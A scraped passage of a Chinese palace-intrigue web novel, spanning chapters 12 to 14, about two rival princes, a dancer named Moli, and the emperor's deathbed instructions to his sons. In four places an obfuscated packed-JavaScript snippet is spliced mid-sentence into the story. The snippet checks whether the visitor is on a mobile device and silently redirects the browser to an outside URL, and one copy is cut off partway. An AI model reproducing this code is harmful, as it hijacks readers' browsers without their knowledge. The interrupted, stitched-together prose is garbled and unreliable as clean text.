这时，崔成碧开口问道：“殿下今年二十有二了吧？” “是。” “可有意中人么？” “嫂嫂何意？” 崔成碧笑道：“自然有话要说。” 楚棣忽地心头一紧，难不成要给他胡乱说一门亲么？他可不想。故面色一沉，板着脸问：“什么话？” 崔成碧轻轻一笑：“府上有人回话，殿下曾带一名女子入府暂住。我想，我该关心一下。” 楚棣倍觉尴尬，脸上红一阵青一阵的，像被撞破什么秘密，不由分辩：“我们萍水相逢，清清白白。” 崔成碧当然知道内情，但却不那样想，只是不理，若无其事地：“我什么也没说呀！” 楚棣气闷：“那你是什么意思？” “你认为我是什么意思？” “我真不明白。” “太子殿下一心解开殿下心结，但愿，你能明白他的苦心。” 楚棣卯上劲：“我若不明白呢？” 崔成碧温柔地强调：“那我会教你明白。” 楚棣转念一想，她既如此说，必定知道文君姑娘所在，故而平息下来：“那天以后我们再无交集，就算你要教我明白，也得先找到人吧。” “那是自然。”她是个好嫂子，那么温柔、知心。正因清楚楚棣为人，才敢伺机把心事悠悠探来。 就趁他还未找到线索，她必然以此为饵，换得夫君几日心静。 “我知道她在哪里。” “很厉害呀！” “你不想报答救命恩人么？” 温柔一刀，楚棣根本无力招架，总之，兄弟之争里，他不愿带累旁人——更遑论救命恩人。 “不劳您费心，我自有打算。” 她又再强调：“说起来，天下之大，要藏起一个人，该是多么简单。殿下当真——” 那“藏起来”，真像一份杀意。 楚棣心里没底，好像被一只无形的手把心攫住，只能后退一步，垂着脑袋，讪讪地问：“那太子妃的意思是？” “恳请殿下别再与太子置气。” “臣弟不敢。” 崔成碧怕他不肯，继续说道：“将来有将来的缘法，我管不着。眼下圣人沉疴绵惙，太子监国，本就案牍劳形，殿下同为皇子，不尽心相助也罢，只是，别再让他徒增烦恼了。一切以国事为重。” “太子妃的意思是，”楚棣翻起白眼，“我不识大体？” “你这小弟，怎么如此难缠？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120117|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔成碧看着楚棣，到底没有轻慢他，“咱们在商言商，你不该生气。” 楚棣又即冷静下来：“嫂嫂一片丹心，小弟原该感谢。可是......” 崔成碧懂得，抢白道：“‘子非鱼’么？同伴太子身侧，我自然也是鱼。” 他看过一眼怀中的曙雀，慨然笑道：“咱们大不一样。但是，我答应你，在陛下痊愈以前，不会与太子再生龃龉。” “多谢殿下-体谅。”崔成碧注视着楚棣，面色如常。这厢起身，走过去接过曙雀交给奶娘，柔声道：“殿下那位救命恩人现在宜春院中。” 楚棣闻言，惊得说不出话来，蹙起眉心，问道：“是么？可名单上并没有她的名字。” 想起今早在宫门前，那队伍里的人他都大略看过，想必没看真切，此刻便很坐不住了。 他真心报恩，愿意许她一个好前程。 倏忽间，脑海里又警铃大作，这连太子都不知道的事，太子妃究竟了解几成？想借此机会做成什么？他要回去细想。 崔成碧揶揄道：“准你用假名，就不许她用么？” “那她叫什么名字？” “茉莉。” “哦！”楚棣恍然大悟，“正是了，我记得她说她姓莫。” 细细想来，终于明白那小姑娘为何对人“用花用草做名”那般在意，原来她的名字便是一种花——茉莉。雅友。当真是极衬她的。 小而白，白而香，香而刺人。 她性子很拧，在宫里能好好的吗？ 这便起身想走，崔成碧却把他截住，轻声地笑：“现在嫂嫂再问你，可有意中人么？” 楚棣懒怠纠缠，但见太子妃认定他们有情，便顺势做戏，双颊酡红，星眸含笑，扭捏道：“我不好说。我的出现对她不是一件好事。” 崔成碧一派如意，但明白这插曲究竟做不成大戏。 太子对楚棣寄予厚望，来日登基，必为他择高门贵女以做助力，茉莉出身寒微，野性未训，难登大雅之堂。眼下能用她与楚棣交易，只是因为救命之恩。 什么意中人，原是她试探，试探不成，私心打趣而已。 楚棠事毕，已在屏风后驻足片刻，无意窥听到这一句，心中自然生出一番计较。他没被发现，却是主动走进去，好奇道：“你们在说什么？” 崔成碧既未瞒他，也未真正告诉他，单是笑道：“二殿下想出阁了。” 一语双关。 楚棠满以为是出阁另住，长长地出一口气，上前亲切地拍拍他的肩膀： “等过这一阵......我替你向耶耶说一说。” 其实心知肚明，等过这一阵，他们就再也没有父亲了。到那时，他们也许，也不再是兄弟。 楚棣忽然一阵鼻酸，一股寒意袭来，身子一抖。 “你冷吗？还是腿疼了？”楚棠看他穿得单薄，二话不说，立刻脱下外衫给他披上。 崔成碧见状，对奶娘使个眼色，便悄悄退出去。 楚棣哽咽道：“我怕。” “怕什么？”楚棠不解。 楚棣说不出口，解下外衫还他手里，转身便走。 鹦鹉又报：“棣儿走了，棣儿走了。” 少顷，楚棠懂得那“我怕”的含义。 望着他的背影，心底竟涌出一阵酸楚——如是者我，孤家寡人，居高临下，惶惶不可终日。 12. 今夕复何夕 软轿安静而缓慢地沿宫道而行，正午时分，太阳越来越亮，还很烈，因在秋天，天高云淡，故而分外晒人，若有一场雨缠缠绵绵地淋下来就好了。 树叶开始泛黄，风却吹不落，一簇一簇，在冷蓝天幕的一角铺就暖意。 楚棣生长于太极宫，直至今日，庆幸与它熟识。这里于茉莉是陌生而危险的，需要他牵线搭桥，方能自在。他与身俱来的身份，足以成全一个女伶任何心愿。 行至西内苑，远远地，听见园内在演《破阵乐》。他叫停下，软轿便落在地上，迟迟不下，踌躇着，忽然有点儿近乡情怯，不知道见到茉莉该有一番什么措辞，总之不能是“成全、答应”云云，这太高高在上，她必定不悦。 随从上玉说：“殿下，再过一刻就到您和柏玄素约定的时辰了。可要改道崇文馆？” 上玉与他年纪相仿，生的眉清目秀，只是稍矮稍弱。自幼随侍身侧，主仆二人最是贴心。不巧，他追贼那日，上玉家中幼妹出嫁，因此不在身边守护。 思忖片刻，他说：“好。命人替我留心宜春院，有大传闻即来报我。” “何为大事，请殿下明示。”上玉并非真愚钝，而是初次为主人去办有关女子的事，需得有个尺度。 “蠢材蠢材。”楚棣恨铁不成钢，“自然是不平之事为大。” 上玉没想到他对宜春院如此留心，想是今日见到那些女伶，春心动了？不禁老怀欣慰，拱手领命：“是，殿下放心。” 楚棣叮嘱道：“当心些，莫被旁人知道。” 说完软轿便朝崇文馆去。 * * 茉莉的脸绯红。 刚睡醒，傍晚时分，浮动的粉橘色漫到天际，刚好映在轩窗里。 魏缨坐在檐下，心不在焉地望天，天一寸寸黑过来。那句诗仍在她心底萦绕，意有所指，是在提醒她“不可全抛一片心”。 回头看，茉莉已下床了，走到窗前，睡眼惺忪。 “我竟睡了这么久。” “瞧你睡得香甜，我怎忍心叫醒你呢？” 茉莉隔窗望她，打了个哈欠，眼泪漫到眼下。 “姐姐可用过饭了？” 魏缨声气带笑： “午饭是用过了，晚饭么，还没有，在等你呢。” “姐姐待我真好。” 茉莉肚子里一阵响，如同击鼓。让她不好意思了： “等我洗把脸！”眼泪已流了半张脸。 魏缨笑她泪珠盈腮，真是可爱。这样天真，像极了她的妹妹。 宫闱深深，她身边若没个交好的人，想必只需几日，便要叫旁人给吃了。大人的话不假，可凡事总有例外吧。 她认茉莉是她的妹妹。 左右为难。一声叹息。 只听茉莉问：“姐姐怎么了？” 魏缨的心事不可告与人知，是因为她有要事在身，近在咫尺，又远在天边。 天已黑尽，新月下的南海，冷泠泠的，沿岸停靠着几艘摇橹船，船身绕着玲珑剔透的莲花灯，是一对好颜色的夫妇，点燃灯芯，许过愿后放去祈福，顺着金水河流到宫外。 人力不可为之事，唯有寄予神佛。 小女儿捧着一盏花灯，迟迟不放—— “黛黛，快别看啦！耶耶还要去太极殿呢。” 她看见树后一团黑影，指过去。“阿娘，那里有人。” 那夫妇很诧异，男子喝问道：“何人在此？” 魏缨忙拉茉莉出去，跪倒在地：“奴婢们是夜里当值的宫女。” 不是大事。女子牵起女儿，柔声道：“郎君，咱们走吧。” 他忙不迭应声：“好，娘子。”边走边说，“我今晚要去侍疾，你和黛黛早些休息。” “只有你吗？” “棣儿也许会在。” 待他们走远，茉莉问道： “姐姐，你知道他们是谁吗？” “像是冠军侯一家。”她拿不准。 茉莉好奇：“侍疾是什么意思？” “就是侍奉。”魏缨声音压得低，“圣人正在病中，冠军侯是镇国公主之子，圣人最亲近的弟弟。眼下太子监国，由他入宫侍疾再好不过了。” 天黑黑，茉莉诧异地看向她，越发好奇。 “为什么最好？” “因为他统领南衙十六卫，职同上将军，却似乎，与太子有些嫌隙。” “上将军，”茉莉没听过，“一定是个很大的官儿吧！” “自开国以来，上将军之职便只设在战时，持虎符帅印，不听敕令亦可调动兵马。圣人登基后镇国公主掌权，频频征伐，这职位便为她的丈夫九原侯独有了，而咱们方才所见的冠军侯，是他们的儿子。” “可书上说公侯伯子男都是世袭罔替的，怎么...” 不等问出口，魏缨已催促道：“别问了，咱们快回去。” 茉莉满眼羡慕：“姐姐，你懂的真多。” 魏缨已经疲于应付，存心吓唬道：“还说？在这宫里，知道越多，死的越快。” 茉莉四面环顾，回头抓紧她的手腕：“姐姐，我以后再也不问了。” “记住了，祸从口出。”这的确是正理。 两个无依无靠的女子，行走于深宫，一个样样都懂，一个样样不懂，却是栓在一根绳上的蚂蚱，一头轻，一头重，如何找到平衡。 自那夜回去，茉莉自管规规矩矩跟住魏缨，纵有不解之事，亦不多问半句。每日练舞、读书，身体虽疲累，心里却自在痛快，更不消说，于识文断字上有所进步，这是最实在的。 并没有谁找她们的麻烦。 时光悄然淌至深秋，午后，雨声如鼓点急落，像人心一样嘈杂。 当茉莉抱着晒干的衣裳自雨中跑来，见檀华与魏缨在檐下说话，面容整肃，说的却是一件好事，只不过，干系重大。 檀华说：“庆典近在眼前，拔尖的女伶俱在宫外走场排练，一时召不回来。今日随使团来贺的波斯琴师极富盛名，若非火烧眉毛，我断不会让你去的。” 魏缨强自镇定：“请姑姑放心。” 檀华摇摇头：“兹事体大，若有半点差池......好孩子，我真不忍断送了你。” 茉莉一气跑到檐下，浑身都湿透了。仅仅听见这两句，已自魏缨的神情，知悉她肩上担子之重。她从未如此紧蹙眉心。 檀华一见茉莉，忽然计上心头： “这样，你演奏《破阵乐》，茉莉作剑舞，但求平分秋色最好，若不能，便叫她那舞压你一头。你可愿意？” 魏缨踌躇片刻，答道：“愿意。” 茉莉听明白了，姑姑要她去挑大梁。立刻就窝囊起来：“啊！姑姑，我不成的......” 檀华捉住她不肯放：“孩子，你怕什么？我瞧你平日里练那剑舞极好！昨天不还练过一场吗？” “可我紧张。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120118|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你入内廷做前头人，不就是为御前献舞吗？” “可是独舞？” “是，只有你和魏缨。” 茉莉实在是冷，不禁打个寒颤。见魏缨那眼神，近似恳求，不忍心再多推拒。只道：“那我勉力一试。” 她不曾想到，第一次献舞会是独舞，说不紧张是假的，更遑论还有波斯使团和臣工在侧。 “好！”檀华笑意盈盈，赞道：“这满宜春院里，你的舞技和呈现是最拔尖的。千万不要怕。” 剑舞难学，但她总也跳过数十次了，只要持剑在手，乐音相伴，身子就知道如何动、往哪动，但凭本能，没什么好怕。 魏缨揽过她的肩膀，淡淡一笑：“茉莉，谢谢你。” 说到底，是职责所在，竟引得魏缨出言感激，茉莉一时之间不知该作何反应。其实她是跃跃欲试的，只是更害怕会做得不好。无论如何，这句感谢是意外收获。 这般千载难逢的机会，一同降临到她们头上。 茉莉如是想着，梳洗换装，脚步游弋于宫中，不知不觉已至太极殿外。于门边垂首待召，无意瞥见殿中的影儿，是在两排臣工里面，正襟危坐。很眼熟。 他坐在右侧第二张案几后面，目光那么明亮、骄傲，紧随圣人，不移片刻。波斯琴师演奏完毕，他仍然不动。 茉莉瞧那琴师背影，也有几分眼熟。 琴师说完话，殿内先是一片哗然，随即寂静下来。 忽有人说：“太子殿下喜好音律，演奏琵琶乃是一绝。只是不巧，殿下今日不在宫中，否则必有兴致与琴师同乐。” 圣人道：“来而不往非礼也。朕近日新得一琵琶女，琴师方才既演《入阵曲》，那便宣她来奏《破阵乐》吧。” 内侍高声喊道：“宣！琵琶女觐见！” 茉莉紧跟在魏缨身后，紧张地，捏紧袖口，跪在地上：“参见陛下。” “免礼。”但见有两个人，问道：“那又是谁？” “回陛下，《破阵乐》气势雄浑，若以剑舞相配，则刚柔并济，更为动人。” “准！”圣人一捻胡须，道：“来人，去取太子的琵琶来。” “谢陛下。” 有官员说。 “殿下的琵琶弦乃以鹿筋制成，声音清脆，犹如仙音。” “当年平定淮南以后，宫中摆宴庆贺，殿下一时兴起，在宴上演奏的也是《破阵乐》。” “一饱耳福呀，如仙乐一般！” 太子擅琵琶，四海皆知，但听见这些无聊吹捧之语，楚棣浑身不爽，将脸别过，忽而眼前一亮—— 他看见茉莉。 在一个未曾想过的场合。 仅仅心念一动，她便奇迹般地出现在眼前。 不可置信。她原来是块璞玉，玉韫珠藏，质朴无华，但一经雕琢，二经简单修饰，便似脱胎换骨般，可以赶赴一个风花雪月的世界。 琵琶取来了，楚棣的主意已经打定。 他一向不大在这种场合说话，但，他开口了。 “陛下，好舞配好剑，不若将儿臣佩剑借与那位女伶演舞吧。” “甚好。” 上玉将剑呈上殿来，交到茉莉手中。 茉莉吓了一跳，强自镇定，谢恩，起身，抽剑出鞘。 剑影倏忽从她的脸，她的眼睛、鼻子、嘴唇闪过......那一刻好像特别慢。 他看得呆住，琴音未起，心中已鼓乐大作。 13. 一舞动四方 一殿落针可闻，琵琶清音里，软剑微颤。 呀！果真是把好剑，紫光闪烁，无比柔软。定睛一看，剑身刻着一个“棣”字。 是二殿下的剑。 琵琶铮铮连响，先缓后急，一众仿佛置身疆场，纵马驰骋。茉莉心定，双手持剑，身子微倾，弹跳起势，脚步错落有序，裙裾飞扬，潇洒飘逸，剑光在身前连成一片。 二女配合极好，舞随乐至。乐者，至美至柔，指间涌动风雷之音；舞者，身姿轻盈，如燕娇韧，剑意凌风。 青春好颜色的少女，寂寂无名，置于高台之中，是两个诱惑，随着乐、随着舞，渐渐摊开在一众眼前。 男人都有抱得美人归的痴梦，争相看去，却不知花落谁家。 乐声渐弱，茉莉小翻数次，定在殿中抛剑出手，复牢牢接住，一抛一接间，剑招已无数，旋身斜蹲在地，横剑回望。此已舞毕，忽自席间飞来一顶帏帽，她从善如流，接来戴在头上。 正是——事了拂衣去，深藏功与名。 “彩！”众人齐喝，掌声雷动。 席间有人议论。 “‘来如雷霆收震怒，罢如江海凝清光’，好舞，好舞！” “此舞比《剑器行》如何？” “王某不通舞乐，实不敢妄言。” 茉莉脸颊泛红，一身细汗，不忘收剑入鞘。 楚棣见她摘下帏帽，遥遥相望，颔首一笑。 哦，他当真是二殿下。 初识时，茉莉便知道他们之间有一条鸿沟，今日才道，原来是天堑。 她一点也不高兴。但楚棣可不这样想。 “琴师以为此舞如何？” 琴师早已看呆，半晌才说：“‘听闻昔日公孙氏，一舞剑器动四方’，我认为这位舞者比之不差。” 茉莉认得这声音，抬眼一看，竟是鹭起。 他向圣人献艺，为何不弹奏自己纯熟无比的胡琴？这琵琶，只是初学呀！片刻，她又道，今天是什么好日子，旧人相逢不说，竟一次两个。 茉莉心中欣喜不已。 幸得剑舞出挑，让波斯使团忘记切磋琴艺之事。圣人看向使团，略有笑意。 “舞乐一曲以尽地主之谊，愿能博使者一笑。” 波斯大使躬身一礼：“多谢大晋皇帝陛下，此舞气势如虹，舞者刚柔并济，张弛有度，与《破阵乐》合二为一，真是让我大开眼界。” 圣人心中赞赏，脸上却不以为意。正色道：“赏每人浮光锦四十匹，银百两。” 三人忙谢恩：“多谢陛下。” 鹭起适才已认出茉莉，这厢领了赏，更加移不开眼。 原本今日也是试水，真正的献艺，要待庆典那日。只是输在她手里，他心服口服。 二女退行出殿，魏缨不发一言，独茉莉大喘一口气，忍不住说：“刚才弹到第二节都快把我吓死了，动作险些跟不上。” “我看的真真儿的，你跳得极好！若非今日有使团在此，你必能名动四方。”魏缨为她开心，但也免不得几分失落。 茉莉亢奋极了，浑然不觉，“那是因为姐姐看我哪里都好。”说罢，拿起剑，抽出半寸剑身，“你说的不错，他真是二殿下。” “那你们今日便可相认了。”魏缨打趣道。 “算啦！在我眼里，他是隋意还是二殿下，没有什么区别。” 茉莉站在剑架前，到底有几分不舍，狠狠心，将剑放回架上。 魏缨不解：“这是何意？” “告别过去，哈哈。”茉莉掩饰。 内侍快步追来：“琵琶女留步。” “还有事么？”魏缨回身问。 茉莉也看向内侍，等待上官宣召。 内侍犹豫片刻：“只叫琵琶女留下，这位姑娘可自行回到宜春院中。” “好。”茉莉偷偷瞧住魏缨。 不等她说话，魏缨便道：“茉莉，你先回去休息。”她打发她走，仍然是姐姐的温柔，“我很快就回来，不用等我。” 茉莉比她更高兴，唯恐耽误她受赏。因刚才累极，只草草一礼便溜之大吉。 殿中笑声阵阵，相谈甚欢，楚棣身后空出一张桌案。是那王某，借公务之便先行告退。因他以为，一朵红花，不该为一片绿叶做陪。他须得说了。 内侍将魏缨引到太极殿后栏杆下，依依等候，虽然忐忑，但期盼之情更甚。 不过两弹指功夫，王某已自廊下走来。 王某单名曼，字山遥，生于太原王氏，家学渊源。祖父为帝师，父为祠部员外郎，二十二岁考明法科为探花，经外放六年，曾兼盐铁使，后官至幽州按察使，五年前右迁御史台任侍御史，现年三十六岁，为朝中年轻一辈的中流砥柱，前程不可限量。 正是右迁次年，他与内子议婚，依礼携母入宫谒见皇后。话毕，途经掖幽庭，见魏缨伏跪于地被内侍鞭打，怜她年幼受辱，出言相救。后来一切，桩桩件件俱是蓄意为之。 内子娇蛮，爱拈酸吃醋，每每发作起来，总叽叽咕咕说些孩子话来气他，气得他心口砰砰直跳，又怜之不及。故公务以外，他不大见魏缨，也不大见旁的女子。今日实属意外，他没想到，几番提醒，她竟还在今日蠢到为人做配。 幸而没有打乱他的部署，否则这颗棋子，他必弃之。 在他来的路上，魏缨不是不害怕，可她不能失去那重冷静自持——那是他最看重的。她曾如浮萍一般，倚在他身上。他说，美丽的女人，不会有平凡的一生。所以他着手打造，要她走上那条极尽诡谲却无上荣耀的道路。 她心虚不敢看他，惴惴不安地问：“大人有何吩咐？” 王山遥又气又笑：“你若肯听我一言，岂有今日之事？” “奴婢不敢造次。”魏缨垂手而立，嘟囔一声，见他没有出言责怪，其实心里是甜的。 她这般柔顺，王山遥反不忍说出重话，只好说：“你妹妹在太原很好，不必担心。” 魏缨只当这是敲打，忽然脸颊绯红，试探问：“大人当真。为我与茉莉交往密切而烦恼吗？” “不，”王山遥解释道：“你有朋友，这是好事。” “那为何要为今日之事见我？在这里。”她更加大胆。 “我要你在内廷蛰伏，以待将来一击即中，而非陪衬、娱乐，明白吗？” “明白。”魏缨依旧低着头。 “我瞧她也不错，勤勤恳恳，必有出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120119|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头之日。”王山遥打量她的神情，反将一军，“若你不成，我即用她。” “大人当真？”魏缨紧张不已。 王山遥轻笑一声，颇为玩味：“你们都是有造化的，由不得我。” 魏缨想辩解，可喉咙里堵得难受，半晌才道：“我明白了。” “你明白就好。回去吧。” 魏缨多想跟他说说知心话啊——她待茉莉虽好，可从未忘记他的嘱托。这厢错失良机，只好闷闷不乐地去了。 王山遥却没走，在檐下负手而立，思忖良久。 一直以来，魏缨对他言听计从，无非三个原因：一为当年救命之恩，二为其妹，三为一个“情”字。 一个人，对于危难之中向自己伸出援手之人感激不已，自是寻常事，可她若将感激当作“爱”，那就太糊涂了。 这层窗户纸，王山遥几次想要捅破，但觉不妥。他脸皮薄，魏缨更是，若他主动提起，对方不认，倒像他自作多情似的。再说，世间万事，唯一“情”字不讲道理，不如糊里糊涂的好。 只要她把差事办好，他就什么也不想了。 回太极殿时，已将这小小插曲抛之脑后。 圣人正在病中，但觉不适，草草打发了波斯使团，散朝回宫歇息。楚棣看见王山遥鬼鬼祟祟要溜进殿来，感觉不对，却不好开口质问，因为他是东宫的人，且嘴皮子十分了得。话一出口，免不得要生些嫌隙。而他与东宫嫌隙已经够多了。 王山遥在门外对他颔首一笑：“二殿下为何如此看我？” 楚棣答：“没什么，只是看见表姐夫去而复返，有些好奇而已。” “更衣。”王山遥说道：“阿缙听说殿下腿伤已愈，想过些日子邀您去打马球呢。只是这一向家里忙，没进宫请安，给耽误了。” “表姐有请，楚棣自然不敢推拒。” “帖子都备好了。” 楚棣径直走到剑架面前，拿起剑，微微一笑：“正好，养伤这段日子闲得我都快长草了。” “既是如此，殿下何不为太子分忧？” “东宫人才济济，不说你，单论玄素和厉堰，已令我望尘莫及。我年轻不懂事，只怕分忧不成，反给你们添乱。还是不去为好。” 王山遥并非说客，话头一转：“殿下被太子训斥一事，微臣有所耳闻，难道至今还没消气？” 楚棣呛声道：“怎么，你要乐死了？” 王山遥不计较：“微臣不敢。”抬眼望向云中日影，仍然笑微微的： “微臣在家中行二，兄长长我几岁，科考以前，我们常常上山下河、捉鱼捕鸟，好不快活。入仕以后，我们政见不同，一见面便要争得面红耳赤，但过一顿饭功夫，又能不计前嫌，和好如初。细细想来，只有亲兄弟才能如此吧。” “我没你这份福气。”楚棣不耐烦，心说你兄长是有名的好性情，岂是楚棠可以比的？ “殿下玲珑心窍，必是有福之人。”他稍顿片刻，只道：“不论何时，请您相信——太子心里是有您的。” 楚棣将信将疑，乖乖一点头，胸中却有一口闷气，太子党向来好话说尽，坏事做绝。说什么心里有他，都是虚的！来日登基，一切自有分晓！ 14. 一别心无力 茉莉在太极宫里迷了路。 宫道四通八达，走向分为南北、东西，共计将近二十条，尽头和道中有门，且每道门后几乎一模一样，走着走着，就不知身处何处了。 自傍晚走到天黑，竟一个人都没见着。后来，时不时有打更人的声音从墙外飘来，茉莉不敢叫喊，只好一边跑，一边找，却怎么也看不见人。 恰似遇见鬼打墙。 夜风穿堂，阴森森的，只有形影相吊，把茉莉吓得直哭，眼泪怎么也抹不完。 她又饿又痛又累，脚下却不敢停，终于，宫道尽头出现一处灯火通明的大殿，她先是一愣，然后一擦眼睛，拼命地跑去。 跑得嗓子冒烟，心都快跳出来了。 越近，越见殿前守卫森严，不停有人进出，不等至近处看清甲胄服色，已被侍卫赶到就近的空房里。不止是她，陆续进来的还有许多宫娥、内侍。 茉莉蹲在地上，用力地擦泪。屋内嘈杂不已，有人哭，有人问。 “发生什么......” “闭嘴！不许说话！”门外侍卫喝道。 宫中戒严了。 黑暗中，不知过去多久，天地之间静得只剩淅沥的雨声，好冷。茉莉悄悄起身，提裙掂脚走到门边，在糊窗的油纸上戳了个洞，贴过去，只看见檐下全副武装的侍卫。 有人轻轻扯她的裙角，提醒道：“当心被发现。别看了。” 茉莉吓了一跳，险些叫出声来，摸黑到那人身边，席地而坐。 “你是哪宫里当值的？” “我不是宫女，是伶人。” “那你怎么到这里来的？” “迷路了。” 那人昏昏欲睡，有一搭没一搭地聊着。茉莉虽然累极，但精神很亢奋，无论如何也睡不下去。 直熬到雨停，东方翻起一片鱼肚白。才将将入梦—— 皇城内钟声荡过，足足四十五回。 圣人驾崩了。 * * 打发走波斯使团。 圣人坐肩舆回太极宫。因久病未愈，在殿中接见使团时已倍感心力交瘁，幸而没有立即油尽灯枯，他熬，直到回到心爱的妻子身边，才心力溃泄陷入昏迷。 窦皇后让他斜躺在自己身上，命人端来参汤，喂他喝下去。 “喝呀！”她抱着他，着急地喊，“陛下，快喝下去。” 犹如置身九幽。恍惚间，他听见她的声音自九重天上传来，白茫茫天地间，只有一束耀眼的白光。 好渴，好累，他大张开嘴，竭力吞下口中的甘露。 “文君。”“九哥。” 窦皇后见他转醒，如获至宝般，紧紧搂抱着他。 病骨支离，已令他失去往昔的风采，身子好沉，只剩一把骨头了。 “九哥，”她唤着他，渐渐带出哭腔，“你会好起来的。” 她已经很久很久没有这样害怕过。 圣人吃力地抬手，想要抚摸她的脸颊，眼泪却不听话，一颗一颗掉进他掌心里，滚烫的爱意，灼得他好痛啊，顿住片刻，忽然噙起笑意： “看，那是今日新得的波斯枣，色类沙糖，皮肉软烂，我记得你最爱吃这东西。” “我要你好起来和我一起吃。”窦皇后哭道。 他想，但决计做不到了。 “文君，你不要为难我。我如今，不想议事，不想见人，我只想和你说说话。” 窦皇后抱他更紧，哭道：“你说过要一生一世都待我好，绝不分离片刻的！” 圣人叹一口气。 仿佛用毕生之力才抓住她，与她结为夫妻。 “......我说过，我也做到了，我们从未生离，只有死别。今日之后，我楚繁，会永永远远地陪着你。” 窦文君泣不成声，又听得他道： “人的一生一世，太短；而我的一生一世，更加短，短到我只能爱你二十几年。但文君，你的生命还很长，我希望长到无穷无尽，哪怕你我死生不再相见......哈哈，我会不会太贪心了？要用短短二十几年，去换你用无穷无尽的一生来爱我。” “我愿意的......我愿意。” 自成婚以来，他们便心心相印，形影不离。如此过去这些年，日子一久，早以为这就是一生一世。 而今如何分离？ 他被她引着，抹去脸上的泪——妻子在他眼里，永远是初见那般鲜活，哪怕岁月变迁，世事变幻，亦不曾暗淡、褪色。 他多想长长久久地陪着她啊。 和她一起变老，死去。 可是都做不到了。 楚繁的目光始终停留在她脸上，有气无力地说：“孩子们呢？都叫进来吧。” 窦文君别过脸，擦了泪，正要吩咐宫人，一白一黑两道身影已经疾步而来。 圣人眼前一亮，忧心忡忡地：“棠儿、棣儿，坐近些，让耶耶再看看你们。” 楚棠楚棣一同凑去，跪在榻前，眼中含泪。 “棠儿，耶耶就要去了，往后的路，只有棣儿能够陪你走下去。这些年来，耶耶从未后悔立你为太子，只是苦了你，为这一日需得全力以赴，从未得到片刻安宁。你可怨过耶耶？” 楚棠粗重的吸一口气，把眼泪强忍回去。“儿臣从未怨过父皇。” 圣人看住他，眼底泛着亮光： “我要你答应我一件事，永远善待棣儿，不得打压、交恶。棣儿刚加冠成人，虽通晓庶务，但从不参与其中，在朝中没有人望，对你绝无威胁。他生来冰魂雪魄，非贪恋权势之人，你大可放心。这些年来，你们兄弟离心，皆我之过，唯愿将来，你们能够同心同德。” 楚棠心中一阵绞痛，伏在他身上，泪珠滚落： “耶耶，我将来会倚重棣儿，你请放心......” 圣人拍着他的背心，深叹一气： “历来朝政动荡，总自手足相残开始。只要你们兄弟同心，善用人才，何愁不能富国强兵？” “儿臣谨记父皇教诲。” “来日登基继位，你切记‘君待臣以礼，臣侍君以忠’，至于朝中诸事你早已有数，耶耶尽信你。”他心疼地拭去楚棠脸上的泪，安慰道：“生老病死乃人之常情，乖，你不要哭。” 楚棠跪直，大袖用力地一抹，咬紧牙，强忍眼泪，喉咙却特别疼。 他又唤道： “棣儿，好孩子，来耶耶这里。” 内侍随即端来一卷圣旨。楚棣跪挪过去，上身倚在榻上： “父亲，儿子在。” 圣人心中有愧，看向他时，神情总是格外柔和： “棣儿，耶耶要托付你三件大事：其一，礼敬镇国公主，以争取士族老臣之心。朝中文武百官龃龉已久，太子登基推行新政，必将激化矛盾，届时需得宋邯出面调停，方能克化危机。其二，你要用十五年光阴，成为南衙十六卫之首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120120|149858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。上下五十余年，南衙都在宋氏父子手中，你要做的，是将它从宋蔺手里拿回来，不在虎符帅印，要人心归顺。其三，你要与兄长同心同德，忠心辅佐，永远不能有二志。记住了？耶耶给你留了一道诏书。” 楚棣自内侍手中接过诏书，不敢打开，只是握在手中。 “你不要看，也不要给他看。若有一日，他打压、欺负你，你便将这道诏书公之于众，自有人为你出头。” 楚棣大约猜到诏书内容，心安之余，但觉像个烫手山芋，忽然悲从中来。 “父亲，兄长待我很好，您何必要他如此悬心。” 圣人轻笑： “只要你们同心，那这诏书必不能得见天日的。” 兄弟二人一同在榻前跪下，眼神交汇片刻，异口同声： “儿子谨记父亲教诲：兄弟同心，绝无二志。” “好！好！好！”圣人大笑。 